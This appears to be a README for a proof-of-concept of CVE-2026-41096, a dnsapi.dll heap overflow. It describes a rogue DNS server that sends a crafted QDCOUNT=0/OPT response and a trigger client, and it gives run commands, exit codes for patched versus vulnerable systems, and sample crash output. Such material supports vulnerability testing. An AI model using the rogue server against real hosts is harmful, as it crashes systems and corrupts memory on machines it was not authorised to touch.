DnsRawTruncateMessageForUdp()(dnsapi.dll)中存在堆溢出。当截断逻辑错误计算目标指针时,带有 QDCOUNT=0 和大型 OPT 记录的特制 DNS 响应会导致 604 字节的堆溢出。
MSRC 公告: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| File | Description |
|---|---|
rogue_dns_server.py | 恶意 DNS 服务器(Python 3)。对每个查询都回复一个 QDCOUNT=0 + OPT 响应(623 字节)。 |
trigger_client.c | 触发客户端(C/Win32)。调用指向恶意服务器的 DnsQueryRaw。通过 SetUnhandledExceptionFilter 捕获崩溃。 |
攻击者(恶意服务器):
受害者(触发客户端):
DnsQueryRaw)dnsapi.dll 版本1. 启动恶意服务器:
sudo python3 rogue_dns_server.py
2. 构建并运行触发客户端:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3.(可选)启用页面堆(Page Heap)以实现确定性崩溃:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| Code | Meaning |
|---|---|
| 0 | 系统已修补(干净地返回 DNS_ERROR_BAD_PACKET) |
| 1 | 错误(未找到 DnsQueryRaw、网络问题等) |
| 2 | 检测到崩溃(确认堆溢出) |
存在漏洞(页面堆):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
存在漏洞(无页面堆):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
已修补:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.